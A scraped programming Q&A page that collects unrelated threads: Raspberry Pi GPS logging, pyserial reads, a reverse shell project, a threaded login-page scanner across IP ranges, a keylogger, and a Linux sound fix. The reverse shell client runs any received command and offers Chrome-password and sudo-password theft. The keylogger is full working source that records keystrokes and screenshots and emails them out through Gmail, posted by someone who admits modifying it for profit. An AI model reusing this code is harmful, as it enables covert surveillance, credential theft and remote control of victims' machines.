Currently having problems combining two of my codes into one. Code 1 prints out GPS data continuously, but once I add Code 2 it only prints out once. I suspect the while-loop might be the problem but I don't know for sure.
Any help would be appreciated :)
Combined code:
import os
import sys
import time
import serial
import datetime
from gps import *
ser = serial.Serial(
port = '/dev/ttyS0',
baudrate = 9600,
parity = serial.PARITY_NONE,
stopbits = serial.STOPBITS_ONE,
bytesize = serial.EIGHTBITS,
timeout = 1
)
moment = time.strftime("%d-%m-%Y %H:%M",time.localtime())
try:
gpsd = gps(mode=WATCH_ENABLE)
except:
print('ERROR: Cannot set time')
sys.exit()
while True:
gpsd.next()
if gpsd.utc != None and gpsd.utc != '':
gpsutc = gpsd.utc[0:4] + gpsd.utc[5:7] + gpsd.utc[8:10] + ' ' + gpsd.utc[11:19]
os.system('sudo date -u --set="%s"' % gpsutc)
sys.exit()
if ser.in_waiting > 0:
x = ser.readline().decode('utf-8')
file = open('GPS ' + moment + '.txt', "a")
file.write(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S.%f")[:-3] + " ")
file.write(str(x))
file.close()
print(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S.%f ")[:-3])
print(x)
Code 1 (collects GPS data and stores to text files):
import time
import serial
import datetime
ser = serial.Serial(
port = '/dev/ttyS0',
baudrate = 9600,
parity = serial.PARITY_NONE,
stopbits = serial.STOPBITS_ONE,
bytesize = serial.EIGHTBITS,
timeout = 1
)
moment = time.strftime(%d-%m-%Y %H:%M", time.localtime())
while True:
if ser.in_waiting > 0:
x = ser.readline().decode('utf-8')
file = open('GPS ' + moment + '.txt', "a")
file.write(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S.%f)[:-3] + " ")
file.write(str(x))
file.close()
Code 2 (Sets Raspberry Pi time to equal GPS time):
import os
import sys
import time
from gps import *
try:
gpsd = gps(mode=WATCH_ENABLE)
except:
print('ERROR: Cannot set time')
sys.exit()
while True:
gpsd.next()
if gpsd.utc != None and gpsd.utc != '':
gpsutc = gpsd.utc[0:4] + gpsd.utc[5:7] + gpsd.utc[8:10] + ' ' + gpsd.utc[11:19]
os.system('sudo date -u --set="%s"' % gpsutc)
sys.exit()
I don't own GPS hardware, so i cannot verify, but the second sys.exit() in the combined code stings my eye:
I assume the corresponding sys.exit() in code 2 just ends the script once the time could be read successfully - which makes sense.
But in the combined script, it will still end the whole script.
My first idea was to remove it, but then you will re-set the system time quite often which might cause further issues; maybe it is better keep two loops in the combined script, just replacing that one sys.exit() by break. Something like:
import os
import sys
import time
import serial
import datetime
from gps import *
ser = serial.Serial(
port = '/dev/ttyS0',
baudrate = 9600,
parity = serial.PARITY_NONE,
stopbits = serial.STOPBITS_ONE,
bytesize = serial.EIGHTBITS,
timeout = 1
)
moment = time.strftime("%d-%m-%Y %H:%M",time.localtime())
try:
gpsd = gps(mode=WATCH_ENABLE)
except:
print('ERROR: Cannot set time')
sys.exit()
while True:
gpsd.next()
if gpsd.utc != None and gpsd.utc != '':
gpsutc = gpsd.utc[0:4] + gpsd.utc[5:7] + gpsd.utc[8:10] + ' ' + gpsd.utc[11:19]
os.system('sudo date -u --set="%s"' % gpsutc)
break
while True:
if ser.in_waiting > 0:
x = ser.readline().decode('utf-8')
file = open('GPS ' + moment + '.txt', "a")
file.write(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S.%f")[:-3] + " ")
file.write(str(x))
file.close()
print(datetime.datetime.now().strftime("%d-%m-%Y %H:%M:%S.%f ")[:-3])
print(x)
Related
I tried to read data from USB port on OSX using pyserial. When I tried to read it using CoolTerm, everything worked fine. This is the configuration:
Then I tried to write a short script which doesn't continuously output the data (it outputs the data only once and the even if I restart the script, nothing comes out):
import serial
import time
ser = serial.Serial("/dev/cu.SLAB_USBtoUART", 115200, timeout=5, bytesize=8, stopbits=serial.STOPBITS_ONE, parity=serial.PARITY_NONE)
def getTFminiData():
while True:
# time.sleep(0.1)
count = ser.in_waiting
if count > 8:
recv = ser.read(9)
ser.reset_input_buffer()
if recv[0] == 0x59 and recv[1] == 0x59: # python3
distance = recv[2] + recv[3] * 256
strength = recv[4] + recv[5] * 256
print('(', distance, ',', strength, ')')
ser.reset_input_buffer()
if __name__ == '__main__':
try:
if ser.is_open == False:
ser.open()
getTFminiData()
except KeyboardInterrupt: # Ctrl+C
if ser != None:
ser.close()
Does anyone know what is the right way to get the same data as CoolTerm in this case does?
Thanks to Joe's comment, I fuggered out how to modify the code. The working example is the following:
import serial
import time
ser = serial.Serial("/dev/cu.SLAB_USBtoUART", 115200, bytesize=8, stopbits=serial.STOPBITS_ONE, parity=serial.PARITY_NONE)
def getTFminiData():
bytes_read = 0
data = None
while True:
# time.sleep(0.1)
count = max(1, ser.in_waiting)
if count < 8:
if data is None:
data = ser.read(count)
else:
data.append(ser.read(count))
bytes_read += count
else:
recv = ser.read(9 - bytes_read)
bytes_read = 0
recv = data + recv
data = None
ser.reset_input_buffer()
if recv[0] == 0x59 and recv[1] == 0x59: # python3
distance = recv[2] + recv[3] * 256
strength = recv[4] + recv[5] * 256
print('(', distance, ',', strength, ')')
ser.reset_input_buffer()
if __name__ == '__main__':
try:
if ser.is_open == False:
ser.open()
getTFminiData()
except KeyboardInterrupt: # Ctrl+C
if ser != None:
ser.close()
Im working on a reverse shell project and I am using Python3. I am currently working on sending files over a socket connection but I can not for the love of good get it to work :( I have search the web and all google links are purple, so I am trying my luck here now.
Every time I try to send the file over I either get connection lost or the file just simply dose not transfer right.
I have tried different types of ways to get the image source over. The best attempts yet have been when I decode the image source into base64 and send them over but I think the problem has to do with the recv(1024).
Server.py
##################################
# Server.py #
##################################
#Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'quit':
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_respons = str(conn.recv(1024), "utf-8")
#Custom commands requiering server based actions
if client_respons.startswith('osx_screen_shot') == True:
screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
f = open('temp.png', 'wb')
while screen != bytes(''.encode()):
#print(data)
data_d = str(conn.recv(1024))
f.write(data_d)
else:
print(client_respons, end="")
except:
print("Connection was lost")
break
Client.py
##################################
# Client.py #
##################################
#====== Screen Shoot ======#
def osx_screen_shot():
os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
os.system("screencapture -x /tmp/temp")
try:
with open("/tmp/temp", 'rb') as hoosh:
data = hoosh.read(1024)
s.send(data)
while data != bytes(''.encode()):
#print(data)
data = hoosh.read(1024)
s.send(data)
print(' File sent successfully.')
except:
return "Something went wrong"
#====== Listener =====#
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"
#Custom payload
if len(data) > 0:
if data == 'osx_menu':
string = help_menu()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_chrome_pass':
passwords = function_chrome_decrypt()
s.send(str(passwords + current_dir) + ' ')
elif data[:2] == 'cd':
s.send(str(current_dir) + ' ')
elif data == 'osx_get_sudo_pass':
string = get_sudo_password()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_screen_shot':
imgae_code = osx_screen_shot()
s.send(str(imgae_code))
elif data != '':
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str.decode(output_bytes)
s.send(str(output_str + current_dir) + ' ')
What I except from the code is to be able to send the image source code over a socket and get the image on the server computer
I use time.sleep() in my main thread and want just this thread to sleep. The problem is, that all the other threads I created in the main are sleeping too. One problem might be that they have to access a global variable.
The aim is just to not create too many threads at one time - so I count the running threads and if they are > 200 I want to let the main thread sleep to give the other threads more time.
import requests
import ipaddress
import sys
import threading
import time
loginIndicators = ["username", "user name", "password", "passwort", "log in", "sign in", "anmelden", "signin", "login", "submit", "account", "user", "pass", "id", "authentification", "authentication", "auth", "authorization", "access", "passphrase", "key"]
scancounter = 0
def scan(ip, port, protocol):
global scancounter
global file
try:
res = requests.get(protocol + "://" + ip.exploded + ":" + port + "/", timeout=1)
except:
return
finally:
scancounter += 1
if res.status_code == 401 or any(indicator in res.text.lower() for indicator in loginIndicators):
print("Found: " + ip.exploded + ":" + port + " --> " + protocol)
file.write(protocol + "://" + ip.exploded + ":" + port + "\n")
def output_status(end):
global scancounter
if(end):
time.sleep(3)
print("Scanned: " + str(int(scancounter / len(ports) / 2)))
try:
if __name__ == "__main__":
try:
nw = ipaddress.ip_network(input("Enter the starting IP address: "))
except:
print("Invalid format - expected: IP/prefix")
sys.exit()
ports = input("Enter the ports that should be tested: ")
if ports == "":
ports = ["80","8080","443"]
else:
ports = ports.replace(" ", "")
ports = ports.split(",")
file = input("Output file path: ")
if file != "":
file = open(file, "a")
iprange = nw.hosts()
try:
skip = input("How many addresses do you want to skip: ")
if skip == "":
skip = 0
for i in range(0, int(skip)):
next(iprange)
except:
print("You can't skip more addresses than the IP range contains!")
for ip in iprange:
for port in ports:
threading.Thread(target=scan, args=(ip, port, "http",)).start()
threading.Thread(target=scan, args=(ip, port, "https",)).start()
threading.Thread(target=output_status, args=(True,)).start()
except KeyboardInterrupt:
threading.Thread(target=output_status, args=(True,)).start()
Why aren't you calling output_status in the main thread rather than starting a thread for it?
threading.Thread(target=output_status, args=(True,)).start()
If you did that the sleep would occur on the main thread.
output_status(True)
I was improvising on my Friends keylogger for some profit yesterday. When I run the py file of the keylogger in python IDLE I get this error
Traceback (most recent call last):
File "C:\Python27\Scripts\Configure.py", line 263, in <module>
sendEmail()
File "C:\Python27\Scripts\Configure.py", line 224, in sendEmail
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
File "C:\Python27\lib\smtplib.py", line 743, in sendmail
(code, resp) = self.data(msg)
File "C:\Python27\lib\smtplib.py", line 504, in data
raise SMTPDataError(code, repl)
SMTPDataError: (421, '4.7.0 Temporary System Problem. Try again later (RQ). z29sm64505579pff.0 - gsmtp')
Note that Configure.py is the name of the keylogger. Here is the Keylogger :
#!/usr/bin/python
# Automated Keylogger 0.1a #
# ------------------------ #
# > www.TechnicDynamic.com #
# ------------------------ #
# Credits to original code from DaniWeb forums:
# http://www.daniweb.com/software- development/python/threads/229564/python-keylogger
# Currently works on Windows only
# -------------------------------
# * Records all keystrokes
# * Takes automated screenshots (see config below)
# * Sends email containing logs and screenshots
# Required modules
# ----------------
# Make sure they're all installed if you plan to compile it yourself.
from time import sleep
from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from PIL import Image, ImageGrab
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib
# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = False # set to True to send emails
LOG_MAIL = 'email#gmail.com' # account email address (must exist)
LOG_PASS = 'password' # email's password (must exist)
LOG_FROM = 'bla#blabla.com' # email will be sent from this address
LOG_SUBJ = 'Long time my friend'# email subject
LOG_MSG = 'Howdy!' # email content - the body
# ----------------------------- #
# Screenshot Settings #
LOG_SCREENSHOT = False # set to True to take screenshot(s)
LOG_SCREENSNUM = 3 # set amount of screenshot to take.
LOG_INTERVAL = 2 # interval between each screenshot.
LOG_SCREEN = [] # this list contains matches for taking automated screenshots...
#LOG_SCREEN.append("Facebook") # for example, if it finds "Facebook" in titlebar..
#LOG_SCREEN.append("Sign In") # or if it finds "Sign In", common email login page.
#LOG_SCREEN.append("Google") # -- 'watchu googlin fool?
# ----------------------------- #
# System Settings # [shouldn't be modified]
LOG_FILENAME = 'tmpConf.txt' # log file (current directory)
LOG_TOSEND = [] # contains files to send in email attachment
LOG_ACTIVE = '' # stores active window
LOG_STATE = False # Start keylogger as false
LOG_TIME = 0 # amount of time to log in seconds, where 0 = infinite and 86400 = 1 day
LOG_TEXT = "" # this is the raw log var which will be written to file
LOG_TEXTSIZE = 0 # marks the beginning and end of new text blocks that separate logs
LOG_MINTERVAL = 86400 # main loop intervals in seconds, where 86400 = 1 day (default)
LOG_THREAD_kl = 0 # thread count for keylogger
LOG_THREAD_ss = 0 # thread count for automated screenshots
# ----------------------------- #
# Debug [Don't change] #
# LOG_ITERATE = 3 #
# print os.getcwd() #
#################################
# this sets the thread ID before execution.
main_thread_id = win32api.GetCurrentThreadId()
def Keylog(k, LOG_TIME, LOG_FILENAME):
# only supported for Windows at the moment...
if os.name != 'nt': return "Not supported for this operating system.\n"
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_STATE = True # begin logging!
main_thread_id = win32api.GetCurrentThreadId()
# add timestamp when it starts...
LOG_TEXT += "\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n'
LOG_TEXT += "===================================================\n\n"
# find out which window is currently active!
w = win32gui
LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n"
LOG_TEXT += " " + LOG_ACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n"
if LOG_TIME > 0:
t = Timer(LOG_TIME, stopKeylog) # Quit
t.start()
# open file to write
LOG_FILE = open(LOG_FILENAME, 'w')
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() # this is where all the magic happens! ;)
# after finished, we add the timestamps at the end.
LOG_FILE = open(LOG_FILENAME, 'a')
LOG_TEXT += "\n\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n'
LOG_TEXT += "===================================================\n"
LOG_STATE = False
try:
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
except:
LOG_FILE.close()
return True
# this function stops the keylogger...
# thank God for the StackOverflow thread! :D
def stopKeylog():
win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0);
# this function actually records the strokes...
def OnKeyboardEvent(event):
global LOG_STATE, LOG_THREAD_ss
# return if it isn't logging.
if LOG_STATE == False: return True
global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE, LOG_INTERVAL, LOG_SCREENSHOT, LOG_SCREENSNUM
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'a')
# check for new window activation
wg = win32gui
LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
if LOG_NEWACTIVE != LOG_ACTIVE:
# record it down nicely...
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
LOG_ACTIVE = LOG_NEWACTIVE
# take screenshots while logging!
if LOG_SCREENSHOT == True:
LOG_IMG = 0
while LOG_IMG < len(LOG_SCREEN):
if LOG_NEWACTIVE.find(LOG_SCREEN[LOG_IMG]) > 0:
LOG_TEXT += "[*] Taking " + str(LOG_SCREENSNUM) + " screenshot for \"" + LOG_SCREEN[LOG_IMG] + "\" match.\n"
LOG_TEXT += "[*] Timestamp: " + str(datetime.datetime.now()) + "\n\n"
ss = Thread(target=takeScreenshots, args= (LOG_THREAD_ss,LOG_SCREENSNUM,LOG_INTERVAL))
ss.start()
LOG_THREAD_ss += 1 # add 1 to the thread counter
LOG_IMG += 1
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
# write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
# screenshot function
def Screenshot():
img=ImageGrab.grab()
saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png')
img.save(saveas)
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(saveas)
LOG_TOSEND.append(addFile) # add to the list
# take multiple screenshots function
# args = number of shots, interval between shots
def takeScreenshots(i, maxShots, intShots):
shot = 0
while shot < maxShots:
shottime = time.strftime('%Y_%m_%d_%H_%M_%S')
Screenshot()
time.sleep(intShots)
shot += 1
# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
# server = smtplib.SMTP('smtp.gmail.com:587')
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
server.quit()
# function to clean up fiels
def deleteFiles():
if len(LOG_TOSEND) < 1: return True
for file in LOG_TOSEND:
os.unlink(file)
# begin keylogging
kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME))
kl .start()
# if keylogging is running infinitely
if LOG_TIME < 1:
# begin continuous loop
while True:
# zZzzzzZZzzZ
time.sleep(LOG_MINTERVAL) # sleep for time specified
LOG_NEWFILE = time.strftime('%Y_%m_%d_%H_%M_%S') + ".txt"
# add file to the LOG_TOSEND list
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_NEWFILE)
LOG_TOSEND.append(addFile) # add to the list
LOG_SAVEFILE = open(LOG_NEWFILE, 'w')
LOG_CHCKSIZE = open(LOG_FILENAME, 'r')
LOG_SAVEFILE.write(LOG_CHCKSIZE.read())
LOG_CHCKSIZE.close()
try:
LOG_SAVEFILE.write(LOG_SAVETEXT)
LOG_SAVEFILE.close()
except:
LOG_SAVEFILE.close()
# send email
if LOG_SENDMAIL == True:
sendEmail()
time.sleep(6)
deleteFiles()
LOG_TOSEND = [] # clear this list
# otherwise sleep for specified time, then break program
elif LOG_TIME > 0:
# sleep for time specified
time.sleep(LOG_TIME)
time.sleep(2)
# check to send email
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_FILENAME)
LOG_TOSEND.append(addFile) # add to the list
sendEmail()
time.sleep(2)
sys.exit()
This keylogger is not made by me and I was only Improvising it and hence had no plans for using it.
Here is the screenshot for the python IDLE
Image -Updated
The Up and running and Network Currently down are my ways to ensure that connection is there before it sends the keylogger to the receiver's mail id. Again I am only improvising. So you can see that it succeeded sending the data almost 19 times but then the error showed up. So I can I fix it ?
Regards,
Note- I updated the Image
On a chat script I was working on a while back, I used the winsound python library to play a 'ding' sound (ding.wav) when a new message was received. Now I am wondering how I can make this work for linux, only with a .ogg audio file. The code is below:
import sys
import util
import thread
import socket
import winsound
class ClientSocket():
rbufsize = -1
wbufsize = 0
def __init__(self, address, nickname=''):
if type(address) == type(()) and type(address[0]) == type('') and type(address[1]) == type(1):
pass
else:
print ('Address is of incorrect type. \n' +
'Must be (serverHost (str), serverPort (int)).')
sys.exit(1)
if nickname:
self.changeNick(nickname)
else:
self.changeNick(raw_input('Nickname: '))
self.prompt_on = False
self.address = address
def connect(self):
self.connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect(self.address)
self.rfile = self.connection.makefile('rb', self.rbufsize)
self.wfile = self.connection.makefile('wb', self.wbufsize)
self.wfile.write('/nick ' + self.nickname + '\n')
def serve_forever(self):
self.connect()
thread.start_new_thread(self.acceptinput,())
line = ""
while line not in ('/exit','/quit', '/q'):
self.prompt_on = True
line = raw_input(self.prompt)
self.prompt_on = False
if line[:2] == '/n' or line[:5] == '/nick':
self.changeNick(line.split(' ', 1)[1].strip())
self.wfile.write(line + '\n')
self.close()
self.connection.shutdown(socket.SHUT_RDWR)
self.connection.close()
def changeNick(self, newNick):
self.nickname = newNick
self.prompt = self.nickname+': '
self.backspace = '\b' * len(self.prompt)
def acceptinput(self):
while 1:
data = self.rfile.readline().strip()
if data:
self.writedata(data)
if 'Nickname successfully changed to' in data:
self.changeNick(data.split('"')[1])
def writedata(self, data):
if self.prompt_on:
output = data if len(data) >= len(self.prompt) else data + ' ' * (len(self.prompt) - len(data))
winsound.PlaySound("ding.wav", winsound.SND_FILENAME)
sys.stdout.write(self.backspace + output + '\n' + self.prompt)
sys.stdout.flush()
else:
print data
def close(self):
if not self.wfile.closed:
self.wfile.flush()
self.wfile.close()
self.rfile.close()
def main():
serverHost = raw_input('Server IP/Hostname: ')
if not serverHost:
serverHost = util.getIP()
else:
serverHost = socket.gethostbyname(serverHost)
serverPort = input('Server Port: ')
address = (serverHost, serverPort)
client = ClientSocket(address)
print 'Connecting to server on %s:%s' % (serverHost, serverPort)
client.serve_forever()
if __name__ == '__main__':
main()
If someone could help me convert this to play a .ogg file instead, it would be awesome:)
Thanks, Sean.
In the end, I ended up using the pygame library:
import pygame
pygame.init()
pygame.mixer.music.load("ding.ogg")
pygame.mixer.music.play()